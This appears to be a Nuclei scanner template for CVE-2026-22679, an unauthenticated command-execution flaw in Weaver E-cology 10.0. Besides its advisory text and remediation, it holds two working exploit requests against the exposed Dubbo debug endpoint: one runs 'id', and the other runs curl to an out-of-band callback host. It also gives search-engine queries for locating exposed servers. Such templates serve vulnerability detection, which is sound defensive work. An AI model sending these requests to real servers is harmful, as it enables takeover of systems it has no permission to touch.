id: CVE-2026-22679 info: name: Weaver (Fanwei) E-cology 10.0 - Remote Code Execution author: ritikchaddha severity: critical description: | Weaver (Fanwei) E-cology 10.0 builds prior to 20260312 expose an unauthenticated Dubbo debug endpoint at /papi/esearch/data/devops/dubboApi/debug/method. Attacker-controlled interfaceName and methodName values are used to invoke registered helpers, including cn.hutool.core.util.RuntimeUtil.execForStr and com.weaver.dw.platform.spark.util.LinuxCommand.execCmdWaitStdOut, resulting in arbitrary command execution. The vendor fix (build 20260312) removes the debug endpoint entirely. Exploitation was observed in the wild by the Shadowserver Foundation starting 2026-03-31. This template runs a benign 'id' command (same approach as the official non-CVE ecology-execforstr-rce template) and matches process-id output in the JSON response. impact: | Unauthenticated attackers can execute arbitrary operating-system commands as the Weaver Tomcat / Java process, which may lead to full system compromise. remediation: | Upgrade Weaver E-cology 10.0 to build 20260312 or later. If patching is delayed, block external access to /papi/esearch/data/devops/dubboApi/debug/method. reference: - https://www.vulncheck.com/advisories/weaver-e-cology-unauthenticated-rce-via-dubboapi-debug-endpoint - https://www.weaver.com.cn/cs/securityDownload.html - https://www.bleepingcomputer.com/news/security/weaver-e-cology-critical-bug-exploited-in-attacks-since-march/ - https://github.com/keraattin/CVE-2026-22679 - https://nefariousplan.com/posts/weaver-ecology-22679-endpoint-was-named-debug - https://nvd.nist.gov/vuln/detail/CVE-2026-22679 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2026-22679 cwe-id: CWE-306 epss-score: 0.40501 epss-percentile: 0.98679 cpe: cpe:2.3:a:weaver:e-cology:*:*:*:*:*:*:*:* metadata: max-request: 2 vendor: weaver product: e-cology fofa-query: body="/build/ecodesdk/static/js/lib.js" shodan-query: http.html:"/build/ecodesdk/static/js/lib.js" tags: cve,cve2026,weaver,fanwei,ecology,e-cology,rce,oast,vkev http: - raw: - | POST /papi/esearch/data/devops/dubboApi/debug/method?interfaceName=cn.hutool.core.util.RuntimeUtil&methodName=execForStr HTTP/1.1 Host: {{Hostname}} Content-Type: application/json [["id"]] - | POST /papi/esearch/data/devops/dubboApi/debug/method?interfaceName=cn.hutool.core.util.RuntimeUtil&methodName=execForStr HTTP/1.1 Host: {{Hostname}} Content-Type: application/json [["curl http://{{interactsh-url}}"]] stop-at-first-match: true matchers-condition: or matchers: - type: dsl name: linux-id dsl: - 'status_code == 200' - 'contains(content_type, "application/json")' - 'regex("uid=([0-9(a-z) ]+)gid=([0-9(a-z) ]+)", body)' condition: and - type: dsl name: oast dsl: - 'status_code == 200' - 'contains(interactsh_protocol, "http")' - 'contains(content_type, "application/json")' - 'contains_all(body, "Received", "Total", "Dload")' condition: and # digest: 490a0046304402206e8d0c92b4b49e37e797cda01b8f48ba4032275a453e5ea28bc5d3580ee9bd3602201e671896a6f1eab6b61c8376b2ff9f271b506b287cb83ffdfb11ea0555c54ca6:922c64590222798bb761d5b6d8e72950